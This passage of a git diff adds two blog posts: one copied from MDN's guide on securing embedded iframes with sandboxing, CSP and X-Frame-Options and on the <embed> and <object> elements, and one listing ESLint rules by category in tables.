+You want to give attackers as little power as you can to do bad things on your website, therefore you should give embedded content _only the permissions needed for doing its job._ Of course, this applies to your own content, too. A container for code where it can be used appropriately — or for testing — but can't cause any harm to the rest of the codebase (either accidental or malicious) is called a [sandbox](<https://en.wikipedia.org/wiki/Sandbox_(computer_security)>).
+
+Unsandboxed content can do way too much (executing JavaScript, submitting forms, popup windows, etc.) By default, you should impose all available restrictions by using the `sandbox` attribute with no parameters, as shown in our previous example.
+
+If absolutely required, you can add permissions back one by one (inside the `sandbox=""` attribute value) — see the [`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe#attr-sandbox) reference entry for all the available options. One important note is that you should _never_ add both `allow-scripts` and `allow-same-origin` to your `sandbox` attribute — in that case, the embedded content could bypass the [Same-origin policy](https://developer.mozilla.org/en-US/docs/Glossary/Same-origin_policy) that stops sites from executing scripts, and use JavaScript to turn off sandboxing altogether.
+
+**Note:** Sandboxing provides no protection if attackers can fool people into visiting malicious content directly (outside an `iframe`). If there's any chance that certain content may be malicious (e.g., user-generated content), please serve it from a different [domain](https://developer.mozilla.org/en-US/docs/Glossary/Domain) to your main site.
+
+#### Configure CSP directives
+
+[CSP](https://developer.mozilla.org/en-US/docs/Glossary/CSP) stands for **[content security policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP)** and provides [a set of HTTP Headers](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy) (metadata sent along with your web pages when they are served from a web server) designed to improve the security of your HTML document. When it comes to securing `<iframe>`s, you can _[configure your server to send an appropriate `X-Frame-Options` header.](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options)_ This can prevent other websites from embedding your content in their web pages (which would enable [clickjacking](https://developer.mozilla.org/en-US/docs/Glossary/Clickjacking) and a host of other attacks), which is exactly what the MDN developers have done, as we saw earlier on.
+
+**Note:** You can read Frederik Braun's post [On the X-Frame-Options Security Header](https://blog.mozilla.org/security/2013/12/12/on-the-x-frame-options-security-header/) for more background information on this topic. Obviously, it's rather out of scope for a full explanation in this article.
+
+## [The <embed> and <object> elements](https://developer.mozilla.org/en-US/docs/Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies#the_embed_and_object_elements 'Permalink to The <embed> and <object> elements')
+
+The [`<embed>`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/embed) and [`<object>`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/object) elements serve a different function to [`<iframe>`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) — these elements are general purpose embedding tools for embedding external content, such as PDFs.
+
+However, you are unlikely to use these elements very much. If you need to display PDFs, it's usually better to link to them, rather than embedding them in the page.
+
+Historically these elements have also been used for embedding content handled by browser [plugins](https://developer.mozilla.org/en-US/docs/Glossary/Plugin) such as [Adobe Flash](https://developer.mozilla.org/en-US/docs/Glossary/Adobe_Flash), but this technology is now obsolete and is not supported by modern browsers.
+
+If you find yourself needing to embed plugin content, this is the kind of information you'll need, at a minimum:
+
+|                                                                                                              | [`<embed>`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/embed)                                                                                                  | [`<object>`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/object)                                                                                                  |
+| ------------------------------------------------------------------------------------------------------------ | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| [URL](https://developer.mozilla.org/en-US/docs/Glossary/URL) of the embedded content                         | [`src`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/embed#attr-src)                                                                                             | [`data`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/object#attr-data)                                                                                            |
+| _accurate_ [media type](https://developer.mozilla.org/en-US/docs/Glossary/MIME_type) of the embedded content | [`type`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/embed#attr-type)                                                                                           | [`type`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/object#attr-type)                                                                                            |
+| height and width (in CSS pixels) of the box controlled by the plugin                                         | [`height`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/embed#attr-height) [`width`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/embed#attr-width) | [`height`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/object#attr-height) [`width`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/object#attr-width) |
+| names and values, to feed the plugin as parameters                                                           | ad hoc attributes with those names and values                                                                                                                                 | single-tag [`<param>`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/param) elements, contained within `<object>`                                                   |
+| independent HTML content as fallback for an unavailable resource                                             | not supported (`<noembed>` is obsolete)                                                                                                                                       | contained within `<object>`, after `<param>` elements                                                                                                                           |
+
+Let's look at an `<object>` example that embeds a PDF into a page (see the [live example](https://mdn.github.io/learning-area/html/multimedia-and-embedding/other-embedding-technologies/object-pdf.html) and the [source code](https://github.com/mdn/learning-area/blob/gh-pages/html/multimedia-and-embedding/other-embedding-technologies/object-pdf.html)):
+
+```
+
+```
+
+Copy to Clipboard
+
+PDFs were a necessary stepping stone between paper and digital, but they pose many [accessibility challenges](https://webaim.org/techniques/acrobat/acrobat) and can be hard to read on small screens. They do still tend to be popular in some circles, but it is much better to link to them so they can be downloaded or read on a separate page, rather than embedding them in a webpage.
+
+<!--EndFragment-->
diff --git a/src/pages/blog/eslint-rules.md b/src/pages/blog/eslint-rules.md
new file mode 100644
index 0000000000..a4b66b951d
--- /dev/null
+++ b/src/pages/blog/eslint-rules.md
@@ -0,0 +1,374 @@
+---
+title: " ESLint Rules"
+template: post
+subtitle: Rules in ESLint are grouped by type to help you understand their purpose
+excerpt: These rules relate to possible logic errors in cod
+date: 2022-05-22T22:42:01.526Z
+image: https://i.ytimg.com/vi/SydnKbGc7W8/maxresdefault.jpg
+thumb_image: https://i.ytimg.com/vi/SydnKbGc7W8/maxresdefault.jpg
+image_position: right
+author: src/data/authors/bgoonz.yaml
+categories:
+  - src/data/categories/js.yaml
+  - src/data/categories/git.yaml
+tags:
+  - src/data/tags/cms.yaml
+  - src/data/tags/javascript.yaml
+  - src/data/tags/links.yaml
+  - src/data/tags/resources.yaml
+show_author_bio: true
+cmseditable: true
+---
+<!--StartFragment-->
+
+# Rules
+
+Rules in ESLint are grouped by type to help you understand their purpose. Each rule has emojis denoting:
+
+if the `"extends": "eslint:recommended"` property in a [configuration file](https://eslint.org/docs/user-guide/configuring#extending-configuration-files) enables the rule
+
+if some problems reported by the rule are automatically fixable by the `--fix` [command line](https://eslint.org/docs/user-guide/command-line-interface#--fix) option
+
+if some problems reported by the rule are manually fixable by editor [suggestions](https://eslint.org/docs/developer-guide/working-with-rules#providing-suggestions)
+
+## Possible Problems[](https://eslint.org/docs/rules/#possible-problems)
+
+These rules relate to possible logic errors in code:
+
+|     |     |     |                                                                                                  |                                                                                               |
+| --- | --- | --- | ------------------------------------------------------------------------------------------------ | --------------------------------------------------------------------------------------------- |
+|     |     |     | [array-callback-return](https://eslint.org/docs/rules/array-callback-return)                     | enforce \`return\` statements in callbacks of array methods                                   |
+| ✓   |     |     | [constructor-super](https://eslint.org/docs/rules/constructor-super)                             | require \`super()\` calls in constructors                                                     |
+| ✓   |     |     | [for-direction](https://eslint.org/docs/rules/for-direction)                                     | enforce "for" loop update clause moving the counter in the right direction.                   |
+| ✓   |     |     | [getter-return](https://eslint.org/docs/rules/getter-return)                                     | enforce \`return\` statements in getters                                                      |
+| ✓   |     |     | [no-async-promise-executor](https://eslint.org/docs/rules/no-async-promise-executor)             | disallow using an async function as a Promise executor                                        |
+|     |     |     | [no-await-in-loop](https://eslint.org/docs/rules/no-await-in-loop)                               | disallow \`await\` inside of loops                                                            |
+| ✓   |     |     | [no-class-assign](https://eslint.org/docs/rules/no-class-assign)                                 | disallow reassigning class members                                                            |
+| ✓   |     |     | [no-compare-neg-zero](https://eslint.org/docs/rules/no-compare-neg-zero)                         | disallow comparing against -0                                                                 |
+| ✓   |     |     | [no-cond-assign](https://eslint.org/docs/rules/no-cond-assign)                                   | disallow assignment operators in conditional expressions                                      |
+| ✓   |     |     | [no-const-assign](https://eslint.org/docs/rules/no-const-assign)                                 | disallow reassigning \`const\` variables                                                      |
+|     |     |     | [no-constant-binary-expression](https://eslint.org/docs/rules/no-constant-binary-expression)     | disallow expressions where the operation doesn't affect the value                             |
+| ✓   |     |     | [no-constant-condition](https://eslint.org/docs/rules/no-constant-condition)                     | disallow constant expressions in conditions                                                   |
+|     |     |     | [no-constructor-return](https://eslint.org/docs/rules/no-constructor-return)                     | disallow returning value from constructor                                                     |
+| ✓   |     |     | [no-control-regex](https://eslint.org/docs/rules/no-control-regex)                               | disallow control characters in regular expressions                                            |
+| ✓   |     |     | [no-debugger](https://eslint.org/docs/rules/no-debugger)                                         | disallow the use of \`debugger\`                                                              |
+| ✓   |     |     | [no-dupe-args](https://eslint.org/docs/rules/no-dupe-args)                                       | disallow duplicate arguments in \`function\` definitions                                      |
+| ✓   |     |     | [no-dupe-class-members](https://eslint.org/docs/rules/no-dupe-class-members)                     | disallow duplicate class members                                                              |
+| ✓   |     |     | [no-dupe-else-if](https://eslint.org/docs/rules/no-dupe-else-if)                                 | disallow duplicate conditions in if-else-if chains                                            |
+| ✓   |     |     | [no-dupe-keys](https://eslint.org/docs/rules/no-dupe-keys)                                       | disallow duplicate keys in object literals                                                    |
+| ✓   |     |     | [no-duplicate-case](https://eslint.org/docs/rules/no-duplicate-case)                             | disallow duplicate case labels                                                                |
+|     |     |     | [no-duplicate-imports](https://eslint.org/docs/rules/no-duplicate-imports)                       | disallow duplicate module imports                                                             |
+| ✓   |     |     | [no-empty-character-class](https://eslint.org/docs/rules/no-empty-character-class)               | disallow empty character classes in regular expressions                                       |
+| ✓   |     |     | [no-empty-pattern](https://eslint.org/docs/rules/no-empty-pattern)                               | disallow empty destructuring patterns                                                         |
+| ✓   |     |     | [no-ex-assign](https://eslint.org/docs/rules/no-ex-assign)                                       | disallow reassigning exceptions in \`catch\` clauses                                          |
+| ✓   |     |     | [no-fallthrough](https://eslint.org/docs/rules/no-fallthrough)                                   | disallow fallthrough of \`case\` statements                                                   |
+| ✓   |     |     | [no-func-assign](https://eslint.org/docs/rules/no-func-assign)                                   | disallow reassigning \`function\` declarations                                                |
+| ✓   |     |     | [no-import-assign](https://eslint.org/docs/rules/no-import-assign)                               | disallow assigning to imported bindings                                                       |
+| ✓   |     |     | [no-inner-declarations](https://eslint.org/docs/rules/no-inner-declarations)                     | disallow variable or \`function\` declarations in nested blocks                               |
+| ✓   |     |     | [no-invalid-regexp](https://eslint.org/docs/rules/no-invalid-regexp)                             | disallow invalid regular expression strings in \`RegExp\` constructors                        |
+| ✓   |     |     | [no-irregular-whitespace](https://eslint.org/docs/rules/no-irregular-whitespace)                 | disallow irregular whitespace                                                                 |
+| ✓   |     |     | [no-loss-of-precision](https://eslint.org/docs/rules/no-loss-of-precision)                       | disallow literal numbers that lose precision                                                  |
+| ✓   |     | 💡  | [no-misleading-character-class](https://eslint.org/docs/rules/no-misleading-character-class)     | disallow characters which are made with multiple code points in character class syntax        |
+| ✓   |     |     | [no-new-symbol](https://eslint.org/docs/rules/no-new-symbol)                                     | disallow \`new\` operators with the \`Symbol\` object                                         |
+| ✓   |     |     | [no-obj-calls](https://eslint.org/docs/rules/no-obj-calls)                                       | disallow calling global object properties as functions                                        |
+|     |     |     | [no-promise-executor-return](https://eslint.org/docs/rules/no-promise-executor-return)           | disallow returning values from Promise executor functions                                     |
+| ✓   |     |     | [no-prototype-builtins](https://eslint.org/docs/rules/no-prototype-builtins)                     | disallow calling some \`Object.prototype\` methods directly on objects                        |
+| ✓   |     |     | [no-self-assign](https://eslint.org/docs/rules/no-self-assign)                                   | disallow assignments where both sides are exactly the same                                    |
+|     |     |     | [no-self-compare](https://eslint.org/docs/rules/no-self-compare)                                 | disallow comparisons where both sides are exactly the same                                    |
+| ✓   |     |     | [no-setter-return](https://eslint.org/docs/rules/no-setter-return)                               | disallow returning values from setters                                                        |
+| ✓   |     |     | [no-sparse-arrays](https://eslint.org/docs/rules/no-sparse-arrays)                               | disallow sparse arrays                                                                        |
+|     |     |     | [no-template-curly-in-string](https://eslint.org/docs/rules/no-template-curly-in-string)         | disallow template literal placeholder syntax in regular strings                               |
+| ✓   |     |     | [no-this-before-super](https://eslint.org/docs/rules/no-this-before-super)                       | disallow \`this\`/\`super\` before calling \`super()\` in constructors                        |
+| ✓   |     |     | [no-undef](https://eslint.org/docs/rules/no-undef)                                               | disallow the use of undeclared variables unless mentioned in \`/\*global \*/\` comments       |
+| ✓   |     |     | [no-unexpected-multiline](https://eslint.org/docs/rules/no-unexpected-multiline)                 | disallow confusing multiline expressions                                                      |
+|     |     |     | [no-unmodified-loop-condition](https://eslint.org/docs/rules/no-unmodified-loop-condition)       | disallow unmodified loop conditions                                                           |
+| ✓   |     |     | [no-unreachable](https://eslint.org/docs/rules/no-unreachable)                                   | disallow unreachable code after \`return\`, \`throw\`, \`continue\`, and \`break\` statements |
+|     |     |     | [no-unreachable-loop](https://eslint.org/docs/rules/no-unreachable-loop)                         | disallow loops with a body that allows only one iteration                                     |
+| ✓   |     |     | [no-unsafe-finally](https://eslint.org/docs/rules/no-unsafe-finally)                             | disallow control flow statements in \`finally\` blocks                                        |
+| ✓   |     | 💡  | [no-unsafe-negation](https://eslint.org/docs/rules/no-unsafe-negation)                           | disallow negating the left operand of relational operators                                    |
+| ✓   |     |     | [no-unsafe-optional-chaining](https://eslint.org/docs/rules/no-unsafe-optional-chaining)         | disallow use of optional chaining in contexts where the \`undefined\` value is not allowed    |
+|     |     |     | [no-unused-private-class-members](https://eslint.org/docs/rules/no-unused-private-class-members) | disallow unused private class members                                                         |
+| ✓   |     |     | [no-unused-vars](https://eslint.org/docs/rules/no-unused-vars)                                   | disallow unused variables                                                                     |
+|     |     |     | [no-use-before-define](https://eslint.org/docs/rules/no-use-before-define)                       | disallow the use of variables before they are defined                                         |
+| ✓   |     |     | [no-useless-backreference](https://eslint.org/docs/rules/no-useless-backreference)               | disallow useless backreferences in regular expressions                                        |
+|     |     |     | [require-atomic-updates](https://eslint.org/docs/rules/require-atomic-updates)                   | disallow assignments that can lead to race conditions due to usage of \`await\` or \`yield\`  |
+| ✓   |     |     | [use-isnan](https://eslint.org/docs/rules/use-isnan)                                             | require calls to \`isNaN()\` when checking for \`NaN\`                                        |
+| ✓   |     | 💡  | [valid-typeof](https://eslint.org/docs/rules/valid-typeof)                                       | enforce comparing \`typeof\` expressions against valid strings                                |
+
+## Suggestions[](https://eslint.org/docs/rules/#suggestions)
+
+These rules suggest alternate ways of doing things:
+
+|     |     |     |                                                                                                |                                                                                                                        |
+| --- | --- | --- | ---------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------- |
+|     |     |     | [accessor-pairs](https://eslint.org/docs/rules/accessor-pairs)                                 | enforce getter and setter pairs in objects and classes                                                                 |
+|     | 🔧  |     | [arrow-body-style](https://eslint.org/docs/rules/arrow-body-style)                             | require braces around arrow function bodies                                                                            |
+|     |     |     | [block-scoped-var](https://eslint.org/docs/rules/block-scoped-var)                             | enforce the use of variables within the scope they are defined                                                         |
+|     |     |     | [camelcase](https://eslint.org/docs/rules/camelcase)                                           | enforce camelcase naming convention                                                                                    |
+|     | 🔧  |     | [capitalized-comments](https://eslint.org/docs/rules/capitalized-comments)                     | enforce or disallow capitalization of the first letter of a comment                                                    |
+|     |     |     | [class-methods-use-this](https://eslint.org/docs/rules/class-methods-use-this)                 | enforce that class methods utilize \`this\`                                                                            |
+|     |     |     | [complexity](https://eslint.org/docs/rules/complexity)                                         | enforce a maximum cyclomatic complexity allowed in a program                                                           |
+|     |     |     | [consistent-return](https://eslint.org/docs/rules/consistent-return)                           | require \`return\` statements to either always or never specify values                                                 |
+|     |     |     | [consistent-this](https://eslint.org/docs/rules/consistent-this)                               | enforce consistent naming when capturing the current execution context                                                 |
+|     | 🔧  |     | [curly](https://eslint.org/docs/rules/curly)                                                   | enforce consistent brace style for all control statements                                                              |
+|     |     |     | [default-case](https://eslint.org/docs/rules/default-case)                                     | require \`default\` cases in \`switch\` statements                                                                     |
+|     |     |     | [default-case-last](https://eslint.org/docs/rules/default-case-last)                           | enforce default clauses in switch statements to be last                                                                |
+|     |     |     | [default-param-last](https://eslint.org/docs/rules/default-param-last)                         | enforce default parameters to be last                                                                                  |
+|     | 🔧  |     | [dot-notation](https://eslint.org/docs/rules/dot-notation)                                     | enforce dot notation whenever possible                                                                                 |
+|     | 🔧  |     | [eqeqeq](https://eslint.org/docs/rules/eqeqeq)                                                 | require the use of \`===\` and \`!==\`                                                                                 |
+|     |     |     | [func-name-matching](https://eslint.org/docs/rules/func-name-matching)                         | require function names to match the name of the variable or property to which they are assigned                        |
+|     |     |     | [func-names](https://eslint.org/docs/rules/func-names)                                         | require or disallow named \`function\` expressions                                                                     |
+|     |     |     | [func-style](https://eslint.org/docs/rules/func-style)                                         | enforce the consistent use of either \`function\` declarations or expressions                                          |
+|     |     |     | [grouped-accessor-pairs](https://eslint.org/docs/rules/grouped-accessor-pairs)                 | require grouped accessor pairs in object literals and classes                                                          |
+|     |     |     | [guard-for-in](https://eslint.org/docs/rules/guard-for-in)                                     | require \`for-in\` loops to include an \`if\` statement                                                                |
+|     |     |     | [id-denylist](https://eslint.org/docs/rules/id-denylist)                                       | disallow specified identifiers                                                                                         |
+|     |     |     | [id-length](https://eslint.org/docs/rules/id-length)                                           | enforce minimum and maximum identifier lengths                                                                         |
+|     |     |     | [id-match](https://eslint.org/docs/rules/id-match)                                             | require identifiers to match a specified regular expression                                                            |
+|     |     |     | [init-declarations](https://eslint.org/docs/rules/init-declarations)                           | require or disallow initialization in variable declarations                                                            |
+|     |     |     | [max-classes-per-file](https://eslint.org/docs/rules/max-classes-per-file)                     | enforce a maximum number of classes per file                                                                           |
+|     |     |     | [max-depth](https://eslint.org/docs/rules/max-depth)                                           | enforce a maximum depth that blocks can be nested                                                                      |
+|     |     |     | [max-lines](https://eslint.org/docs/rules/max-lines)                                           | enforce a maximum number of lines per file                                                                             |
+|     |     |     | [max-lines-per-function](https://eslint.org/docs/rules/max-lines-per-function)                 | enforce a maximum number of lines of code in a function                                                                |
+|     |     |     | [max-nested-callbacks](https://eslint.org/docs/rules/max-nested-callbacks)                     | enforce a maximum depth that callbacks can be nested                                                                   |
+|     |     |     | [max-params](https://eslint.org/docs/rules/max-params)                                         | enforce a maximum number of parameters in function definitions                                                         |
+|     |     |     | [max-statements](https://eslint.org/docs/rules/max-statements)                                 | enforce a maximum number of statements allowed in function blocks                                                      |
+|     | 🔧  |     | [multiline-comment-style](https://eslint.org/docs/rules/multiline-comment-style)               | enforce a particular style for multiline comments                                                                      |
+|     |     |     | [new-cap](https://eslint.org/docs/rules/new-cap)                                               | require constructor names to begin with a capital letter                                                               |
+|     |     |     | [no-alert](https://eslint.org/docs/rules/no-alert)                                             | disallow the use of \`alert\`, \`confirm\`, and \`prompt\`                                                             |
+|     |     |     | [no-array-constructor](https://eslint.org/docs/rules/no-array-constructor)                     | disallow \`Array\` constructors                                                                                        |
+|     |     |     | [no-bitwise](https://eslint.org/docs/rules/no-bitwise)                                         | disallow bitwise operators                                                                                             |
+|     |     |     | [no-caller](https://eslint.org/docs/rules/no-caller)                                           | disallow the use of \`arguments.caller\` or \`arguments.callee\`                                                       |
+| ✓   |     |     | [no-case-declarations](https://eslint.org/docs/rules/no-case-declarations)                     | disallow lexical declarations in case clauses                                                                          |
+|     | 🔧  |     | [no-confusing-arrow](https://eslint.org/docs/rules/no-confusing-arrow)                         | disallow arrow functions where they could be confused with comparisons                                                 |
+|     |     |     | [no-console](https://eslint.org/docs/rules/no-console)                                         | disallow the use of \`console\`                                                                                        |
+|     |     |     | [no-continue](https://eslint.org/docs/rules/no-continue)                                       | disallow \`continue\` statements                                                                                       |
+| ✓   |     |     | [no-delete-var](https://eslint.org/docs/rules/no-delete-var)                                   | disallow deleting variables                                                                                            |
+|     | 🔧  |     | [no-div-regex](https://eslint.org/docs/rules/no-div-regex)                                     | disallow division operators explicitly at the beginning of regular expressions                                         |
+|     | 🔧  |     | [no-else-return](https://eslint.org/docs/rules/no-else-return)                                 | disallow \`else\` blocks after \`return\` statements in \`if\` statements                                              |
+| ✓   |     |     | [no-empty](https://eslint.org/docs/rules/no-empty)                                             | disallow empty block statements                                                                                        |
+|     |     |     | [no-empty-function](https://eslint.org/docs/rules/no-empty-function)                           | disallow empty functions                                                                                               |
+|     |     |     | [no-eq-null](https://eslint.org/docs/rules/no-eq-null)                                         | disallow \`null\` comparisons without type-checking operators                                                          |
+|     |     |     | [no-eval](https://eslint.org/docs/rules/no-eval)                                               | disallow the use of \`eval()\`                                                                                         |
+|     |     |     | [no-extend-native](https://eslint.org/docs/rules/no-extend-native)                             | disallow extending native types                                                                                        |
+|     | 🔧  |     | [no-extra-bind](https://eslint.org/docs/rules/no-extra-bind)                                   | disallow unnecessary calls to \`.bind()\`                                                                              |
+| ✓   | 🔧  |     | [no-extra-boolean-cast](https://eslint.org/docs/rules/no-extra-boolean-cast)                   | disallow unnecessary boolean casts                                                                                     |
+|     | 🔧  |     | [no-extra-label](https://eslint.org/docs/rules/no-extra-label)                                 | disallow unnecessary labels                                                                                            |
+| ✓   | 🔧  |     | [no-extra-semi](https://eslint.org/docs/rules/no-extra-semi)                                   | disallow unnecessary semicolons                                                                                        |
+|     | 🔧  |     | [no-floating-decimal](https://eslint.org/docs/rules/no-floating-decimal)                       | disallow leading or trailing decimal points in numeric literals                                                        |
+| ✓   |     |     | [no-global-assign](https://eslint.org/docs/rules/no-global-assign)                             | disallow assignments to native objects or read-only global variables                                                   |
+|     | 🔧  |     | [no-implicit-coercion](https://eslint.org/docs/rules/no-implicit-coercion)                     | disallow shorthand type conversions                                                                                    |
+|     |     |     | [no-implicit-globals](https://eslint.org/docs/rules/no-implicit-globals)                       | disallow declarations in the global scope                                                                              |
+|     |     |     | [no-implied-eval](https://eslint.org/docs/rules/no-implied-eval)                               | disallow the use of \`eval()\`-like methods                                                                            |
+|     |     |     | [no-inline-comments](https://eslint.org/docs/rules/no-inline-comments)                         | disallow inline comments after code                                                                                    |
+|     |     |     | [no-invalid-this](https://eslint.org/docs/rules/no-invalid-this)                               | disallow use of \`this\` in contexts where the value of \`this\` is \`undefined\`                                      |
+|     |     |     | [no-iterator](https://eslint.org/docs/rules/no-iterator)                                       | disallow the use of the \`\_\_iterator\_\_\` property                                                                  |
+|     |     |     | [no-label-var](https://eslint.org/docs/rules/no-label-var)                                     | disallow labels that share a name with a variable                                                                      |
+|     |     |     | [no-labels](https://eslint.org/docs/rules/no-labels)                                           | disallow labeled statements                                                                                            |
+|     |     |     | [no-lone-blocks](https://eslint.org/docs/rules/no-lone-blocks)                                 | disallow unnecessary nested blocks                                                                                     |
+|     | 🔧  |     | [no-lonely-if](https://eslint.org/docs/rules/no-lonely-if)                                     | disallow \`if\` statements as the only statement in \`else\` blocks                                                    |
+|     |     |     | [no-loop-func](https://eslint.org/docs/rules/no-loop-func)                                     | disallow function declarations that contain unsafe references inside loop statements                                   |
+|     |     |     | [no-magic-numbers](https://eslint.org/docs/rules/no-magic-numbers)                             | disallow magic numbers                                                                                                 |
+|     |     |     | [no-mixed-operators](https://eslint.org/docs/rules/no-mixed-operators)                         | disallow mixed binary operators                                                                                        |
+|     |     |     | [no-multi-assign](https://eslint.org/docs/rules/no-multi-assign)                               | disallow use of chained assignment expressions                                                                         |
+|     |     |     | [no-multi-str](https://eslint.org/docs/rules/no-multi-str)                                     | disallow multiline strings                                                                                             |
+|     |     |     | [no-negated-condition](https://eslint.org/docs/rules/no-negated-condition)                     | disallow negated conditions                                                                                            |
+|     |     |     | [no-nested-ternary](https://eslint.org/docs/rules/no-nested-ternary)                           | disallow nested ternary expressions                                                                                    |
+|     |     |     | [no-new](https://eslint.org/docs/rules/no-new)                                                 | disallow \`new\` operators outside of assignments or comparisons                                                       |
+|     |     |     | [no-new-func](https://eslint.org/docs/rules/no-new-func)                                       | disallow \`new\` operators with the \`Function\` object                                                                |
+|     |     |     | [no-new-object](https://eslint.org/docs/rules/no-new-object)                                   | disallow \`Object\` constructors                                                                                       |
+|     |     |     | [no-new-wrappers](https://eslint.org/docs/rules/no-new-wrappers)                               | disallow \`new\` operators with the \`String\`, \`Number\`, and \`Boolean\` objects                                    |
+| ✓   |     | 💡  | [no-nonoctal-decimal-escape](https://eslint.org/docs/rules/no-nonoctal-decimal-escape)         | disallow \`\8\` and \`\9\` escape sequences in string literals                                                         |
+| ✓   |     |     | [no-octal](https://eslint.org/docs/rules/no-octal)                                             | disallow octal literals                                                                                                |
+|     |     |     | [no-octal-escape](https://eslint.org/docs/rules/no-octal-escape)                               | disallow octal escape sequences in string literals                                                                     |
+|     |     |     | [no-param-reassign](https://eslint.org/docs/rules/no-param-reassign)                           | disallow reassigning \`function\` parameters                                                                           |
+|     |     |     | [no-plusplus](https://eslint.org/docs/rules/no-plusplus)                                       | disallow the unary operators \`++\` and \`--\`                                                                         |
+|     |     |     | [no-proto](https://eslint.org/docs/rules/no-proto)                                             | disallow the use of the \`\_\_proto\_\_\` property                                                                     |
+| ✓   |     |     | [no-redeclare](https://eslint.org/docs/rules/no-redeclare)                                     | disallow variable redeclaration                                                                                        |
+| ✓   | 🔧  |     | [no-regex-spaces](https://eslint.org/docs/rules/no-regex-spaces)                               | disallow multiple spaces in regular expressions                                                                        |
+|     |     |     | [no-restricted-exports](https://eslint.org/docs/rules/no-restricted-exports)                   | disallow specified names in exports                                                                                    |
+|     |     |     | [no-restricted-globals](https://eslint.org/docs/rules/no-restricted-globals)                   | disallow specified global variables                                                                                    |
+|     |     |     | [no-restricted-imports](https://eslint.org/docs/rules/no-restricted-imports)                   | disallow specified modules when loaded by \`import\`                                                                   |
+|     |     |     | [no-restricted-properties](https://eslint.org/docs/rules/no-restricted-properties)             | disallow certain properties on certain objects                                                                         |
+|     |     |     | [no-restricted-syntax](https://eslint.org/docs/rules/no-restricted-syntax)                     | disallow specified syntax                                                                                              |
+|     |     |     | [no-return-assign](https://eslint.org/docs/rules/no-return-assign)                             | disallow assignment operators in \`return\` statements                                                                 |
+|     |     |     | [no-return-await](https://eslint.org/docs/rules/no-return-await)                               | disallow unnecessary \`return await\`                                                                                  |
+|     |     |     | [no-script-url](https://eslint.org/docs/rules/no-script-url)                                   | disallow \`javascript:\` urls                                                                                          |
+|     |     |     | [no-sequences](https://eslint.org/docs/rules/no-sequences)                                     | disallow comma operators                                                                                               |
+|     |     |     | [no-shadow](https://eslint.org/docs/rules/no-shadow)                                           | disallow variable declarations from shadowing variables declared in the outer scope                                    |
+| ✓   |     |     | [no-shadow-restricted-names](https://eslint.org/docs/rules/no-shadow-restricted-names)         | disallow identifiers from shadowing restricted names                                                                   |
+|     |     |     | [no-ternary](https://eslint.org/docs/rules/no-ternary)                                         | disallow ternary operators                                                                                             |
+|     |     |     | [no-throw-literal](https://eslint.org/docs/rules/no-throw-literal)                             | disallow throwing literals as exceptions                                                                               |
+|     | 🔧  |     | [no-undef-init](https://eslint.org/docs/rules/no-undef-init)                                   | disallow initializing variables to \`undefined\`                                                                       |
+|     |     |     | [no-undefined](https://eslint.org/docs/rules/no-undefined)                                     | disallow the use of \`undefined\` as an identifier                                                                     |
+|     |     |     | [no-underscore-dangle](https://eslint.org/docs/rules/no-underscore-dangle)                     | disallow dangling underscores in identifiers                                                                           |
+|     | 🔧  |     | [no-unneeded-ternary](https://eslint.org/docs/rules/no-unneeded-ternary)                       | disallow ternary operators when simpler alternatives exist                                                             |
+|     |     |     | [no-unused-expressions](https://eslint.org/docs/rules/no-unused-expressions)                   | disallow unused expressions                                                                                            |
+| ✓   | 🔧  |     | [no-unused-labels](https://eslint.org/docs/rules/no-unused-labels)                             | disallow unused labels                                                                                                 |
+|     |     |     | [no-useless-call](https://eslint.org/docs/rules/no-useless-call)                               | disallow unnecessary calls to \`.call()\` and \`.apply()\`                                                             |
+| ✓   |     |     | [no-useless-catch](https://eslint.org/docs/rules/no-useless-catch)                             | disallow unnecessary \`catch\` clauses                                                                                 |
+|     | 🔧  |     | [no-useless-computed-key](https://eslint.org/docs/rules/no-useless-computed-key)               | disallow unnecessary computed property keys in objects and classes                                                     |
+|     |     |     | [no-useless-concat](https://eslint.org/docs/rules/no-useless-concat)                           | disallow unnecessary concatenation of literals or template literals                                                    |
+|     |     |     | [no-useless-constructor](https://eslint.org/docs/rules/no-useless-constructor)                 | disallow unnecessary constructors                                                                                      |
+| ✓   |     | 💡  | [no-useless-escape](https://eslint.org/docs/rules/no-useless-escape)                           | disallow unnecessary escape characters                                                                                 |
+|     | 🔧  |     | [no-useless-rename](https://eslint.org/docs/rules/no-useless-rename)                           | disallow renaming import, export, and destructured assignments to the same name                                        |
+|     | 🔧  |     | [no-useless-return](https://eslint.org/docs/rules/no-useless-return)                           | disallow redundant return statements                                                                                   |
+|     | 🔧  |     | [no-var](https://eslint.org/docs/rules/no-var)                                                 | require \`let\` or \`const\` instead of \`var\`                                                                        |
+|     |     |     | [no-void](https://eslint.org/docs/rules/no-void)                                               | disallow \`void\` operators                                                                                            |
+|     |     |     | [no-warning-comments](https://eslint.org/docs/rules/no-warning-comments)                       | disallow specified warning terms in comments                                                                           |
+| ✓   |     |     | [no-with](https://eslint.org/docs/rules/no-with)                                               | disallow \`with\` statements                                                                                           |
+|     | 🔧  |     | [object-shorthand](https://eslint.org/docs/rules/object-shorthand)                             | require or disallow method and property shorthand syntax for object literals                                           |
+|     | 🔧  |     | [one-var](https://eslint.org/docs/rules/one-var)                                               | enforce variables to be declared either together or separately in functions                                            |
